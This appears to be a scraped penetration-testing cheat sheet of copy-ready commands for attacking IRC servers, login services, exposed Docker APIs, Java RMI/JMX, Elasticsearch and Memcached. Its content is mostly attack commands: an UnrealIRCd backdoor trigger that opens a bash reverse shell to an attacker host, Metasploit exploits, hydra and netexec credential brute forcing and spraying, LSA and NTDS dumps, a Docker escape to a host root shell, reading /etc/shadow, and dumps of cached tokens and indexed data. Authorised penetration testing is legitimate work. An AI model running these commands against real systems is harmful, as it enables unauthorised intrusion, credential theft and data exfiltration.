Scan / banner IRCd banner, channels and UnrealIRCd backdoor check nmap -p6667,6697,6660-6669 -sV --script irc-info,irc-unrealircd-backdoor,irc-botnet-channels <ip>Connect Connect to IRC by hand: register and list channels nc -nv <ip> 6667 → NICK x → USER x x x :x → LISTConnect with a client and enumerate channels and users irssi -c <ip> -p 6667 # or weechat; then /list and /who *Connect to the TLS IRC service to read the banner openssl s_client -connect <ip>:6697 # IRC over TLSExploitation Trigger the UnrealIRCd 3.2.8.1 backdoor (RCE) printf 'AB;bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"\n' | nc <ip> 6667 # UnrealIRCd CVE-2010-2075Exploit the UnrealIRCd backdoor with Metasploit msfconsole -q -x 'use exploit/unix/irc/unreal_ircd_3281_backdoor; set RHOSTS <ip>; set LHOST <lhost>; run'Login brute force Login brute forcing (online) 15 commands Copy all
hydra: services SSH (few threads to avoid failures) hydra -L <users.txt> -P <rockyou.txt> ssh://<ip> -t 4FTP hydra -l <user> -P <rockyou.txt> ftp://<ip> -I -t 16Credential stuffing: try leaked user:pass pairs hydra -C <combo.txt> <service>://<ip> # combo.txt = user:password per lineBrute force RDP (hydra or crowbar) hydra -L <users.txt> -P <rockyou.txt> rdp://<ip> # o crowbar -b rdp -s <ip>/32 -U <users.txt> -c '<pass>'Brute force of user and password hydra -L <users.txt> -P <passwords.txt> <service>://<ip>Try a list of user:password pairs hydra -C <user_pass.txt> <service>://<ip>hydra: web (HTTP) Web POST form (mark the failure message) hydra -l <user> -P <rockyou.txt> '<host>' http-post-form '<path>:user=^USER^&pass=^PASS^:<error>'Brute force an HTTP Basic auth hydra -l <user> -P <rockyou.txt> <ip> http-get '/<protected-path>'Reminder: hydra has a module for almost every service (see hydra -U <module>) hydra -l <user> -P <rockyou.txt> <ip> -s <port> http-get / # adjust the module to the servicenetexec / CrackMapExec Spray credentials over SMB in the domain netexec smb <ip> -u <users.txt> -p <passwords.txt> --continue-on-successBrute force over WinRM with netexec netexec winrm <ip> -u <users.txt> -p <passwords.txt>Dump LSA secrets with local-admin creds netexec smb <ip> --local-auth -u <user> -p <pass> --lsaDump NTDS with domain-admin creds netexec smb <ip> -u <user> -p <pass> --ntdsmedusa / patator Alternative to hydra (sometimes steadier on certain services) medusa -h <ip> -u <user> -P <rockyou.txt> -M <service>Hydra alternative with fine response filtering (patator) patator ssh_login host=<ip> user=<user> password=FILE0 0=<rockyou.txt> -x ignore:mesg='auth fail'Other Docker API · 2375 / 2376 5 commands Copy all
Scan / banner Detect the exposed Docker daemon TCP socket nmap -p2375,2376 -sV <ip>Confirm the daemon answers without auth (version and info) curl -s http://<ip>:2375/version; curl -s http://<ip>:2375/infoEnumerate List containers and images against the remote daemon docker -H tcp://<ip>:2375 ps; docker -H tcp://<ip>:2375 imagesExploitation (escape) Mount the host filesystem and pivot to root (see [[container-escape]]) docker -H tcp://<ip>:2375 run -v /:/host -it alpine chroot /host shRead sensitive host files by mounting a volume docker -H tcp://<ip>:2375 run --rm -v /etc:/mnt alpine cat /mnt/shadowJava RMI / JMX · 1099 6 commands Copy all
Scan / banner Dump the RMI registry and check the vulnerable classloader nmap -p1099 -sV --script rmi-dumpregistry,rmi-vuln-classloader <ip>Enumerate Enumerate exposed RMI objects and known attacks (BaRMIe) java -jar BaRMIe.jar -enum <ip> 1099JMX: enumerate the exposed MBeans (beanshooter) beanshooter info <ip> <port> # JMX: listar MBeansExploitation (RCE) JMX: load a malicious MLet to run commands (RCE) beanshooter standard <ip> <port> -e --command 'id'RCE via insecure JMX with Metasploit msfconsole -q -x 'use exploit/multi/misc/java_jmx_server; set RHOSTS <ip>; set RPORT <port>; run'RCE via RMI deserialization with a ysoserial gadget java -jar ysoserial.jar CommonsCollections6 'id' | ... # RMI deserialization gadgetElasticsearch · 9200 6 commands Copy all
Scan / banner Cluster version and unauthenticated-access check nmap -p9200 -sV <ip>; curl -s http://<ip>:9200/Enumerate List the cluster indices (databases) curl -s 'http://<ip>:9200/_cat/indices?v'Nodes, versions and cluster configuration curl -s 'http://<ip>:9200/_cat/nodes?v'; curl -s 'http://<ip>:9200/_nodes?pretty'Dump Dump documents (often credentials or personal data) curl -s 'http://<ip>:9200/_search?pretty&size=100'Search inside an index by keyword curl -s 'http://<ip>:9200/<index>/_search?pretty&q=password'Exploitation (RCE) Old Elasticsearch: RCE via dynamic scripting in _search # CVE-2014-3120 (MVEL) / CVE-2015-1427 (Groovy): script dinamico en _search -> RCE en ES antiguosMemcached · 11211 6 commands Copy all
Scan / banner Detect Memcached and read its stats nmap -p11211 --script memcached-info <ip>Connect by hand: service stats and version nc -vn <ip> 11211 -> stats -> versionEnumerate List the slabs holding stored data echo -e 'stats items\r' | nc -q1 <ip> 11211Dump Dump the keys of a slab (tokens, sessions) echo -e 'stats cachedump <slab_id> 100\r' | nc -q1 <ip> 11211Read the cached value of a given key echo -e 'get <key>\r' | nc -q1 <ip> 11211libmemcached client: list and read keys in bulk memccat --servers=<ip> <key> | memcdump --servers=<ip>No results